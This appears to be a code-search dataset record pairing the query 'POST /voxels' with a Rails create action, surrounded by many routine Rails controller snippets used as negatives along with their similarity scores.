"def show\n @hotel = Hotel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hotel }\n end\n end",
"def index\n @guests = @wedding.guests.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guests }\n end\n end",
"def show\n @observacao_vocacionada = ObservacaoVocacionada.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observacao_vocacionada }\n end\n end",
"def index\n @vuelos = Vuelo.all\n end",
"def show\n @vegetable = Vegetable.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vegetable }\n end\n end",
"def show\n @virus = Virus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @virus }\n end\n end",
"def index\n @vhours = Vhour.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vhours }\n end\n end",
"def show\n @api_v1_post_vote = PostVote.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @api_v1_post_vote }\n end\n end",
"def show\n @vertical = Vertical.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vertical }\n end\n end",
"def show\n @village = Village.find(params[:id])\n @collections = @village.collections\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @village }\n end\n end",
"def index\n @offers = Offer.all\n respond_to do |format|\n format.jsonapi { render jsonapi: @offers }\n format.html { @offers }\n end\n end",
"def show\n @livro = Livro.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @livro }\n end\n end",
"def index\n @admin_villages = Admin::Village.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @admin_villages }\n end\n end",
"def list_active_aos_versions(args = {}) \n get(\"/aosversions.json/\", args)\nend",
"def show\n @verbo = Verbo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verbo }\n end\n end",
"def index\n @loves = Love.all\n render json: @loves\n end",
"def show\n @volantino = Volantino.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volantino }\n end\n end",
"def index\n @hotel_rooms = HotelRoom.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @hotel_rooms }\n end\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def index\n @public_offers = @club.public_offers\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offers }\n end\n end",
"def index\n @vessels =Vessel.all\n # respond_to do |format|\n # format.html # index.html.erb (no data required)\n render :json => {:successful=>true, :total=>@vessels.length, :data=> @vessels }\n # end\n end",
"def show\n @voucher = Voucher.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @voucher }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @verse = Verse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @verse }\n end\n end",
"def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"def show\n @vachana = Vachana.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @vachana }\n end\n end",
"def show\n @tags_of_novel = TagsOfNovel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tags_of_novel }\n end\n end",
"def show\n render json: @hotel, only: [:id, :name, :phone, :email, :user_id]\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @venue }\n end\n end",
"def show\n @tv = Tv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tv }\n end\n end",
"def show\n @ventas_seguimiento = Ventas::Seguimiento.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ventas_seguimiento }\n end\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def index\n @veiculos = Veiculo.all\n end",
"def index\n @vegetables = Vegetable.all\n end",
"def index\n @votes = Vote.all\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def show\n render json: @guest\n end",
"def index\n @events = Event.where(adventure_id: params[:adventure_id])\n\n render json: @events\n end",
"def show\n\t\tparadox = Paradox.find(params[:id])\n\t\trender json: paradox\n\tend",
"def index\n @vacancies = Vacancy.all_vacancies# current_user.vacancies #\n render json: @vacancies\n end",
"def show\n @evclient = Evclient.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @evclient }\n end\n end",
"def show\n @election_type = ElectionType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @election_type }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @votes = Vote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @votes }\n end\n end",
"def index\n @api_v1_items = Item.all\n render json: @api_v1_items\n end",
"def index\n @offices = Office.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @offices }\n end\n end",
"def show\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tipo_vehiculo }\n end\n end",
"def index\n @api_versions = ApiVersion.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_versions }\n end\n end",
"def index\n @offers = Offer.all\n\n render json: @offers\n end",
"def index\n @heroes = Hero.all\n\n render json: @heroes\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"def show\n json_response(@api_v1_product)\n end",
"def show\n @planets_exoplanet = Planets::Exoplanet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @planets_exoplanet }\n end\n end",
"def index\n @viajes = Viaje.all\n end",
"def show\n @serv = Serv.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @serv }\n end\n end",
"def index\n @variants = Variant.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variants }\n end\n end",
"def list_all_aos_version_boxes(args = {}) \n get(\"/aosversions.json/aosversionbox\", args)\nend",
"def index\n\n response = @api.get_list({:destinationString => 'Media', :stateProvinceCode => 'PA'})\n @hotels = response.body['HotelListResponse']['HotelList']['HotelSummary']\n\n end"
] |
[
"0.6820424",
"0.6738501",
"0.671494",
"0.66128075",
"0.6539147",
"0.65020144",
"0.6498369",
"0.6437586",
"0.6426292",
"0.6378908",
"0.6376608",
"0.6372474",
"0.63563097",
"0.6349099",
"0.63385314",
"0.63286555",
"0.63024735",
"0.63024735",
"0.62728345",
"0.6269416",
"0.6266534",
"0.62390095",
"0.6237574",
"0.6233235",
"0.6230822",
"0.6225443",
"0.61717194",
"0.6159975",
"0.61595494",
"0.6159197",
"0.6152449",
"0.6151594",
"0.6145891",
"0.61429477",
"0.6137949",
"0.61298025",
"0.6123449",
"0.61214244",
"0.61147404",
"0.61115",
"0.6107011",
"0.6093314",
"0.6081985",
"0.6078628",
"0.60757905",
"0.6070509",
"0.6069179",
"0.60647106",
"0.60582685",
"0.6055794",
"0.60536516",
"0.6050632",
"0.60472393",
"0.6046389",
"0.6041847",
"0.6039545",
"0.60391104",
"0.6032022",
"0.6024622",
"0.60201883",
"0.6014189",
"0.6008906",
"0.6008906",
"0.6008906",
"0.5999955",
"0.5999955",
"0.5994844",
"0.5994382",
"0.5988063",
"0.5987302",
"0.5983482",
"0.59821624",
"0.59761536",
"0.5969175",
"0.59672207",
"0.596641",
"0.59645987",
"0.595861",
"0.59585017",
"0.59521043",
"0.5951133",
"0.59481454",
"0.59481454",
"0.59481454",
"0.59481454",
"0.59481454",
"0.594603",
"0.59392345",
"0.593382",
"0.5932413",
"0.59313536",
"0.5928975",
"0.5926282",
"0.5922322",
"0.5920781",
"0.5918296",
"0.5916088",
"0.5915205",
"0.5911791",
"0.5910608",
"0.59090114"
] |
0.0
|
-1
|
POST /voxels POST /voxels.json
|
def create
@method = 'create'
@voxel = Voxel.new(voxel_params)
respond_to do |format|
if @voxel.save
flash[:notice] = '作成されました!'
format.html { redirect_to action: 'index' }
format.json { render action: 'show', status: :created, location: @voxel }
else
format.html { render action: 'new' }
format.json { render json: @voxel.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @voxel = Voxel.new(params[:voxel])\n \n respond_to do |format|\n if @voxel.save\n format.html { redirect_to @voxel, notice: 'Voxel was successfully created.' }\n format.json { render json: @voxel, status: :created, location: @voxel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voxel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vet = Vet.new(params[:vet])\n\n respond_to do |format|\n if @vet.save\n format.html { redirect_to @vet, notice: 'Vet was successfully created.' }\n format.json { render json: @vet, status: :created, location: @vet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vet = Vet.new(vet_params)\n\n respond_to do |format|\n if @vet.save\n format.html { redirect_to @vet, notice: 'Vet was successfully created.' }\n format.json { render :show, status: :created, location: @vet }\n else\n format.html { render :new }\n format.json { render json: @vet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @vehicel = @user.vehicels.create(vehicel_params)\n respond_to do |format|\n if @vehicel.save\n format.html { redirect_to user_vehicels_path(@user, @vehicel) }\n format.json { render :show, status: :created, location: @vehicel }\n else\n format.html { render :new }\n format.json { render json: @vehicel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vessel = Vessel.new(params[:vessel])\n\n respond_to do |format|\n if @vessel.save\n format.html { redirect_to @vessel, notice: 'Vessel was successfully created.' }\n format.json { render json: @vessel, status: :created, location: @vessel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vessel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vechicle = Vechicle.new(vechicle_params)\n\n respond_to do |format|\n if @vechicle.save\n format.html { redirect_to @vechicle, notice: 'Vechicle was successfully created.' }\n format.json { render :show, status: :created, location: @vechicle }\n else\n format.html { render :new }\n format.json { render json: @vechicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create body = {}\n @connection.request(method: :post, path: \"/volumes/create\", headers: {\"Content-Type\": \"application/json\"}, body: body.to_json)\n end",
"def created\n @travels = Travels::Travel.of(current_user)\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end",
"def create\n @tags_of_novel = TagsOfNovel.new(params[:tags_of_novel])\n\n respond_to do |format|\n if @tags_of_novel.save\n format.html { redirect_to @tags_of_novel, notice: 'Tags of novel was successfully created.' }\n format.json { render json: @tags_of_novel, status: :created, location: @tags_of_novel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tags_of_novel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @elector = Elector.new(elector_params)\n\n if @elector.save\n render json: @elector, status: :created, location: @elector\n else\n render json: @elector.errors, status: :unprocessable_entity\n end\n end",
"def create\n @vuelo = Vuelo.new(vuelo_params)\n\n respond_to do |format|\n if @vuelo.save\n format.html { redirect_to @vuelo, notice: 'Vuelo was successfully created.' }\n format.json { render :show, status: :created, location: @vuelo }\n else\n format.html { render :new }\n format.json { render json: @vuelo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @episode = Episode.new(episode_params)\n\n if @episode.save\n render json: @episode, status: :created, location: @episode\n else\n render json: @episode.errors, status: :unprocessable_entity\n end\n end",
"def create\n @vod = Vod.new(vod_params)\n #@vod.push_to_elaine if @vod.elaineid.zero?\n\n respond_to do |format|\n if @vod.save\n format.html { redirect_to @vod, notice: 'Vod was successfully created.' }\n format.json { render :show, status: :created, location: @vod }\n else\n format.html { render :new }\n format.json { render json: @vod.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @vet = Vet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vet }\n end\n end",
"def index\n @electors = Elector.all\n\n render json: @electors\n end",
"def new\n @voxel = Voxel.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @voxel }\n end\n end",
"def create\n gethotel = Gethotel.get_hotels(params)\n respond_to do |format|\n if gethotel.body.include?(\"<boolean xmlns=\\\"http://www.reconline.com/\\\">true</boolean>\")\n flash[:notice] = 'Gethotel was successfully created.'\n format.html { redirect_to :action=>:index }\n format.json { render json: @gethotel, status: :created, location: @gethotel }\n else\n flash[:notice] = gethotel.body\n format.html { render action: \"new\" }\n format.json { render json: @gethotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @episodes = Episode.all\n\n render json: @episodes\n end",
"def create\n @offices = Office.create!(office_params)\n json_response(@offices, :created)\n end",
"def create\n @hotel = Hotel.new(hotel_params)\n\n if @hotel.save\n render :show, status: :created, location: @hotel\n else\n render json: @hotel.errors, status: :unprocessable_entity\n end\n end",
"def create\n @videoo = Videoo.new(videoo_params)\n\n respond_to do |format|\n if @videoo.save\n format.html { redirect_to @videoo, notice: 'Videoo was successfully created.' }\n format.json { render :show, status: :created, location: @videoo }\n else\n format.html { render :new }\n format.json { render json: @videoo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post_inventories(name,description, organization=1,variables='')\n dprint \"/api/v1/hosts\"\n resp = @rest['/api/v1/hosts'].post({\n :name => name,\n :description => description,\n :organization => organization,\n :variables => variables\n })\n dprint resp\n\n #[XXX] Theoretical what this is at this point - need to see \n # actual response\n JSON.parse(resp)[\"results\"]\n end",
"def criar_sobrevivente\n @suvivor = Sobrevivente.create(\n name: params[:name], genero: params[:genero], idade: params[:idade],\n lat: params[:lat], lon: params[:lon],\n agua: params[:agua], comida: params[:comida], medicamento: params[:medicamento],\n municao: params[:municao]\n )\n render json: @suvivor\n end",
"def new\n @vessel = Vessel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vessel }\n end\n end",
"def create\n votes = params[:vote]\n voter = params[:voter_id]\n\n if votes\n votes.each do |k,v|\n @vote = Vote.new({:voter_id => voter,\n :position_id => v,\n :candidate_id => k })\n @vote.save\n end\n end\n\n\n redirect_to '/vote'\n\n #respond_to do |format|\n #if @vote.save\n #format.html { redirect_to @vote, notice: 'Vote was successfully created.' }\n #format.json { render json: @vote, status: :created, location: @vote }\n #else\n #format.html { render action: \"new\" }\n #format.json { render json: @vote.errors, status: :unprocessable_entity }\n #end\n #end\n end",
"def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end",
"def create\n @vinyl = Vinyl.new(vinyl_params)\n\n respond_to do |format|\n if @vinyl.save\n format.html { redirect_to @vinyl, notice: 'Vinyl was successfully created.' }\n format.json { render :show, status: :created, location: @vinyl }\n else\n format.html { render :new }\n format.json { render json: @vinyl.errors, status: :unprocessable_entity }\n end\n end\n end",
"def voxel_params\n params.require(:voxel).permit(:user_id, :title, :voxeljson)\n end",
"def create\n @guest_hotel = GuestHotel.new(guest_hotel_params)\n\n respond_to do |format|\n if @guest_hotel.save\n format.html { redirect_to @guest_hotel, notice: 'Guest hotel was successfully created.' }\n format.json { render :show, status: :created, location: @guest_hotel }\n else\n format.html { render :new }\n format.json { render json: @guest_hotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def write_travels_to_calendar\n @event.write_travels_to_calendar\n render :json => @event.to_json, :status => :ok\n end",
"def create\n @vegetable = Vegetable.new(vegetable_params)\n\n respond_to do |format|\n if @vegetable.save\n format.html { redirect_to @vegetable, notice: 'Vegetable was successfully created.' }\n format.json { render :show, status: :created, location: @vegetable }\n else\n format.html { render :new }\n format.json { render json: @vegetable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @vegetable = Vegetable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @vegetable }\n end\n end",
"def create\n \n if(!params[\"venue\"].blank?)\n Venue.save_multiple_venues(@curr_user,params[\"venue\"])\n @status=true\n else\n @status=false\n end\n respond_to do |format|\n if @status\n format.html { redirect_to :action=>:index }\n format.json { render :json => @venues, :status => :created, :location => @venues }\n else\n flash[:error] = 'Please select atleast one checkbox to create venue'\n format.html { redirect_to :action => \"search\"}\n end \n end\n end",
"def add_aos_version_box(args = {}) \n post(\"/aosversions.json/aosversionbox\", args)\nend",
"def create\n @election = Election.new(election_params)\n\n respond_to do |format|\n if @election.save\n format.html { redirect_to @election, notice: \"Election was successfully created.\" }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vocalium = Vocalium.new(params[:vocalium])\n\n respond_to do |format|\n if @vocalium.save\n format.html { redirect_to @vocalium, :notice => 'Vocalium was successfully created.' }\n format.json { render :json => @vocalium, :status => :created, :location => @vocalium }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @vocalium.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @tags_of_novel = TagsOfNovel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tags_of_novel }\n end\n end",
"def create\n @spice = Spice.new(spice_params)\n\n if @spice.save\n render json: @spice, status: :created\n else\n render json: @spice.errors, status: :unprocessable_entity\n end\n end",
"def create\n v = Vague.new()\n v.rentree = \"1-32018\"# params([:vague][:rentree])\n v.etablissement = Etablissement.find(params[:vague][:etablissement_id])\n redirect_to vagues_path\n end",
"def create\n @election = Election.new(election_params)\n\n respond_to do |format|\n if @election.save\n format.html { redirect_to @election, notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @election = Election.new(election_params)\n\n respond_to do |format|\n if @election.save\n format.html { redirect_to @election, notice: 'Election was successfully created.' }\n format.json { render :show, status: :created, location: @election }\n else\n format.html { render :new }\n format.json { render json: @election.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @venue = Venue.new(venue_params)\n\n if @venue.save\n render json: @venue, status: :created, location: @venue\n else\n render json: {errors: @venue.errors}, status: :unprocessable_entity\n end\n end",
"def destroy\n @voxel.destroy\n respond_to do |format|\n format.html { redirect_to voxels_url }\n format.json { head :no_content }\n end\n end",
"def create\n venture = Venture.new(venture_params)\n\n if venture.save \n render json: {venture: venture}, status: :created\n else\n render json: {status: 'Error', message: 'Venture not saved', data: venture.errors}, status: :unprocessable_entity\n end\n end",
"def create\n doc = Nokogiri::XML(request.body.read)\n cvNode = doc.xpath('elwak/checklisten_vorlage')\n cv = ChecklistenVorlage.new({\n objekt_id: cvNode.xpath('objekt_id').text.to_s, \n bezeichner: cvNode.xpath('bezeichner').text.to_s, \n version: cvNode.xpath('version').text.to_s.to_i, \n inaktiv: cvNode.xpath('inaktiv').text.to_s.to_bool \n })\n cv.save\n\n cvNode.xpath('checklisten_eintrags/checklisten_eintrag').each do |ceNode|\n ce = ChecklistenEintrag.new({\n checklisten_vorlage_id: cv.id,\n bezeichner: ceNode.xpath('bezeichner').text.to_s,\n was: ceNode.xpath('was').text.to_s,\n wann: ceNode.xpath('wann').text.to_s,\n typ: ceNode.xpath('typ').text.to_s.to_i,\n position: ceNode.xpath('position').text.to_s.to_i\n })\n ce.save\n end\n\n respond_to do |format|\n format.xml {render :xml => '<?xml version=\"1.0\" encoding=\"UTF-8\"?><success />'}\n end\n end",
"def create\n @groep = Groep.new(params[:groep])\n @lesgevers = Lesgever.order('name').all\n @dags = Dag.all\n @niveaus = Niveau.order('position').all\n respond_to do |format|\n if @groep.save\n format.html { redirect_to @groep, notice: 'Groep werd succesvol aangemaakt.' }\n format.json { render json: @groep, status: :created, location: @groep }\n else\n format.html { render action: \"new\" }\n format.json { render json: @groep.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pokemon_evolution = PokemonEvolution.new(pokemon_evolution_params)\n\n respond_to do |format|\n if @pokemon_evolution.save\n format.html { redirect_to @pokemon_evolution, notice: 'Pokemon evolution was successfully created.' }\n format.json { render :show, status: :created, location: @pokemon_evolution }\n else\n format.html { render :new }\n format.json { render json: @pokemon_evolution.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @vegetal = Vegetal.new(vegetal_params)\n\n respond_to do |format|\n if @vegetal.save\n format.html { redirect_to @vegetal, notice: 'Vegetal was successfully created.' }\n format.json { render :show, status: :created, location: @vegetal }\n else\n format.html { render :new }\n format.json { render json: @vegetal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @planets_exoplanet = Planets::Exoplanet.new(params[:planets_exoplanet])\n\n respond_to do |format|\n if @planets_exoplanet.save\n format.html { redirect_to @planets_exoplanet, :notice => 'Exoplanet was successfully created.' }\n format.json { render :json => @planets_exoplanet, :status => :created, :location => @planets_exoplanet }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @planets_exoplanet.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @vodka = Vodka.new(params[:vodka])\n\n respond_to do |format|\n if @vodka.save\n format.html { redirect_to @vodka, notice: 'Vodka was successfully created.' }\n format.json { render json: @vodka, status: :created, location: @vodka }\n else\n format.html { render action: \"new\" }\n format.json { render json: @vodka.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # @vineyard = Vineyard.new(vineyard_params)\n\n @vineyard = Vineyard.new(vineyard_params)\n @vineyard.user = current_user\n\n if @vineyard.save\n render json: @vineyard, status: :created, location: @vineyard\n else\n render json: @vineyard.errors, status: :unprocessable_entity\n end\n end",
"def create\n @veterinario = Veterinario.new(veterinario_params)\n\n respond_to do |format|\n if @veterinario.save\n format.html { redirect_to @veterinario, notice: 'Veterinario was successfully created.' }\n format.json { render :show, status: :created, location: @veterinario }\n else\n format.html { render :new }\n format.json { render json: @veterinario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @valet_datum = ValetDatum.new(valet_datum_params)\n\n respond_to do |format|\n if @valet_datum.save\n format.html { redirect_to @valet_datum, notice: 'Valet datum was successfully created.' }\n format.json { render :show, status: :created, location: @valet_datum }\n else\n format.html { render :new }\n format.json { render json: @valet_datum.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @offer = Offer.new(offers_params)\n\n respond_to do |format|\n if @offer.save\n format.jsonapi { render jsonapi: @offer, status: :created }\n else\n format.jsonapi { render jsonapi: @offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def CreateView params = {}\n \n APICall(path: 'views.json',method: 'POST',payload: params.to_json)\n \n end",
"def create\n @veterinario = Veterinario.new(veterinario_params)\n\n respond_to do |format|\n if @veterinario.save\n format.html { redirect_to @veterinario, notice: \"Veterinario was successfully created.\" }\n format.json { render :show, status: :created, location: @veterinario }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @veterinario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @api_v1_post_votes = PostVote.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @api_v1_post_votes }\n end\n end",
"def create\n @tv = Tv.new(params[:tv])\n\n respond_to do |format|\n if @tv.save\n format.html { redirect_to @tv, notice: 'Tv was successfully created.' }\n format.json { render json: @tv, status: :created, location: @tv }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @voxels = Voxel.find(:all, :order => 'created_at DESC')\n end",
"def create\n @responsavel = Responsavel.new(responsavel_params)\n\n if @responsavel.save\n render json: @responsavel, status: :created, location: @responsavel\n else\n render json: @responsavel.errors, status: :unprocessable_entity\n end\n end",
"def new\n @hotel = Hotel.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hotel }\n end\n end",
"def create\n @eva = Eva.new(eva_params)\n\n respond_to do |format|\n if @eva.save\n format.html { redirect_to :back, notice: '✔ 評価が送信されました' }\n format.json { render :show, status: :created, location: @eva }\n else\n format.html { render :new }\n format.json { render json: @eva.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @votable_item = VotableItem.new(votable_item_params)\n\n respond_to do |format|\n if @votable_item.save\n format.html { redirect_to @votable_item, notice: 'Votable item was successfully created.' }\n format.json { render :show, status: :created, location: @votable_item }\n else\n format.html { render :new }\n format.json { render json: @votable_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end",
"def create\n @tv = Tv.new(tv_params)\n\n respond_to do |format|\n if @tv.save\n format.html { redirect_to @tv, notice: 'Tv was successfully created.' }\n format.json { render :show, status: :created, location: @tv }\n else\n format.html { render :new }\n format.json { render json: @tv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def offers \n @host.offers.create(offer_params) if request.post?\n @offers = @host.offers\n end",
"def create\n @hotel = Hotel.new(params[:hotel])\n\n respond_to do |format|\n if @hotel.save\n format.html { redirect_to @hotel, notice: 'Hotel was successfully created.' }\n format.json { render json: @hotel, status: :created, location: @hotel }\n else\n format.html { render action: \"new\" }\n format.json { render json: @hotel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @veiculo = Veiculo.new(params[:veiculo])\n\n respond_to do |format|\n if @veiculo.save\n format.html { redirect_to @veiculo, :notice => 'Veiculo was successfully created.' }\n format.json { render :json => @veiculo, :status => :created, :location => @veiculo }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @veiculo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @guests = @wedding.guests.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @guests }\n end\n end",
"def create\n @tv_episode = TvEpisode.new(params[:tv_episode])\n\n respond_to do |format|\n if @tv_episode.save\n format.html { redirect_to @tv_episode, notice: 'Tv episode was successfully created.' }\n format.json { render json: @tv_episode, status: :created, location: @tv_episode }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tv_episode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @paper_venue = PaperVenue.new(params[:paper_venue])\n\n respond_to do |format|\n if @paper_venue.save\n format.html { redirect_to @paper_venue, :notice => 'Paper venue was successfully created.' }\n format.json { render :json => @paper_venue, :status => :created, :location => @paper_venue }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @paper_venue.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n userID = session[:user_id]\n editionID = params[:edition_id]\n price = params[:price]\n\n uri = URI(\"http://107.170.7.58:4567/api/create/sell\")\n parameters = {\"ext\" => \"json\", \"user_id\" => userID, \"edition_id\" => editionID, \"price\" => price, \"start_date\" => Time.now, \"end_date\" => 90.days.from_now}\n response = Net::HTTP.post_form(uri, parameters)\n list = JSON.parse(response.body)\n\n @response = list[0][\"kind\"]\n end",
"def create\n @votacion = Votacion.new(votacion_params)\n @votacion.etapa = \"Previa a la votación.\"\n respond_to do |format|\n if @votacion.save\n format.html { redirect_to @votacion, notice: 'La votación se creo correctamente.' }\n format.json { render :show, status: :created, location: @votacion }\n else\n format.html { render :new }\n format.json { render json: @votacion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @vampires = Vampire.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vampires }\n end\n end",
"def create\n @episode = Episode.new(episode_params)\n\n if @episode.save\n render :show, status: :created, location: @episode\n else\n render json: @episode.errors, status: :unprocessable_entity\n end\n end",
"def create\n @respuesta = Respuesta.new(params[:respuesta])\n\n if @respuesta.save\n render json: @respuesta, status: :created, location: @respuesta\n else\n render json: @respuesta.errors, status: :unprocessable_entity\n end\n end",
"def create\n @voivodship_committee = VoivodshipCommittee.new(params[:voivodship_committee])\n\n respond_to do |format|\n if @voivodship_committee.save\n format.html { redirect_to @voivodship_committee, notice: 'Voivodship committee was successfully created.' }\n format.json { render json: @voivodship_committee, status: :created, location: @voivodship_committee }\n else\n format.html { render action: \"new\" }\n format.json { render json: @voivodship_committee.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @ventas_presupuesto = Ventas::Presupuesto.new(params[:ventas_presupuesto])\n @ventas_presupuesto.vendedor = current_user.id\n\n respond_to do |format|\n if @ventas_presupuesto.save\n format.html { redirect_to @ventas_presupuesto, notice: 'Presupuesto was successfully created.' }\n format.json { render json: @ventas_presupuesto, status: :created, location: @ventas_presupuesto }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ventas_presupuesto.errors, status: :unprocessable_entity }\n end\n end\n end",
